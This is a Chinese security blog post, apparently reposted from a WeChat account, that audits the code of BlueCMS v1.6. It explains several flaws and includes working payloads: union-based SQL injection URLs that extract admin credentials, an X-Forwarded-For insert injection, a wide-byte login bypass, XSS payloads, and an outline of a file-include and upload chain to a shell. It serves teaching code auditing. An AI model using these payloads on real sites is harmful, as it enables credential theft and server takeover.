发现公众号上好像没什么代码审计的文章,于是便把之前自己的笔记拿过来给大家分享一下,这个cms基本已经被玩烂了,但是还是有一些学习意义的。
源码下载地址:https://cowtransfer.com/s/79b5df8108f240
目录结构如下
搭建过程不再赘述。
对于这类比较小的cms,可以通过seay代码审计工具快速审计。
SQL注入漏洞:
第一处、ad_js.php:
代码逻辑很简单,如下:
而这个代码基本上可以说是没有任何防护的直接将传递的字符串带入到了SQL语句进行查询,而在这之前,文件的开始,会包含一个common.inc.php文件,
我们跟进看一下。其内容需要我们注意的是:
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
如果没有开启gpc,对$_GET、$_POST、$_COOKIES、$_REQUEST使用deep_addslashes()函数过滤一遍,那么我们跟踪一下这个函数,在PHPSTORM中,选中函数使用Ctrl+B就可以跳转到函数的定义位置了:
可以看到就是调用addslashes() 函数去过滤传递过来的值。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
-
单引号(')
-
双引号(")
-
反斜杠()
-
NULL
而我们刚才可以看到,我们传递给$ad_id的内容是没有被单引号包裹的,所以addslashes并不起作用。
而getone函数,也仅仅是一个数据库查询使用的,并无其他过滤
那么这样一个SQL注入也就出来了。唯一要注意的是其输出,是在注释里面的:
echo "<!--rndocument.write("".$ad_content."");rn-->rn";
payload如下:
view-source:http://192.168.2.113/bluecms/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()
view-source:http://192.168.2.113/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
view-source:http://192.168.2.113/bluecms/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(admin_name,0x3a,pwd)%20from%20blue_admin
ps:表名需要使用hex,否则就会需要输入单引号,被addslashes所过滤。
第二处、guest_book.php(XFF注入):
因为前面我们已经说过了,没有对$_SERVER进行过滤,所以使用X-Forwarded-For或者CLIENT-IP可以伪装ip进行SQL注入。
此处有一个onlineip,目测可能是ip获取的地方:
跟踪该变量:
发现其是getip的值,继续跟踪该函数:
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
而query函数也并无过滤,所以一个insert型注入就出来了
而这里的SQL语句为:
INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')
我们需要一定的闭合操作,变为下面这样:
INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '127.0.0.1',database())-- +', '$content')
漏洞演示:
访问留言处,数据库名已经出来了:
第三处、admin/login.php(宽字节万能密码)
这个其实主要是页面编码问题导致的,gbk2312,我们来看一下代码是怎么写的:
首先把接收的参数放入check_admin进行检测
check_admin:
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
name被单引号包裹,所以会被addslashes()函数过滤,但因为页面编码问题,我们可以使用宽字节注入。SQLMAP一把梭:
url跳转
user.php
文件中的$act函数明显是一个类似选择功能,当登录成功时,会
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);
而form是
$from = !empty($_REQUEST['from']) ? $_REQUEST['from'] : '';
而没有任何过滤,然后我们跟一下showmsg
最后会显示showmsg.htm,我们再看一下showmsg.htm:
这样就造成了一个url跳转,需要注意的是对表单数据进行base64
漏洞复现:
xss漏洞
user.php(反射型xss)
在页面上的from为隐藏,且,所以闭合即可利用。
http://10.10.20.20/bluecms/user.php?from=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
user.php(存储型xss)
在do_add_news时,$content没有被htmlspecialchars过滤,只被filter_data过滤:
跟一下函数:
function filter_data($str)
{
$str = preg_replace("/<(/?)(script|i?frame|meta|link)(s*)[^<]*>/", "", $str);
return $str;
}
过滤比较简单,payload如下:
<img src="" onerror="alert(1111)">
前端有过滤,所以使用bp发包
即可。
GetShell
user.php(文件包含+文件上传)
在文件的
有明显的包含,且无过滤,而会员处又拥有上传功能,这样我们便拥有了一条文件包含+文件上传==getshell的利用链。
本文始发于微信公众号(鸿鹄实验室):代码审计:BlueCMS v1.6
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论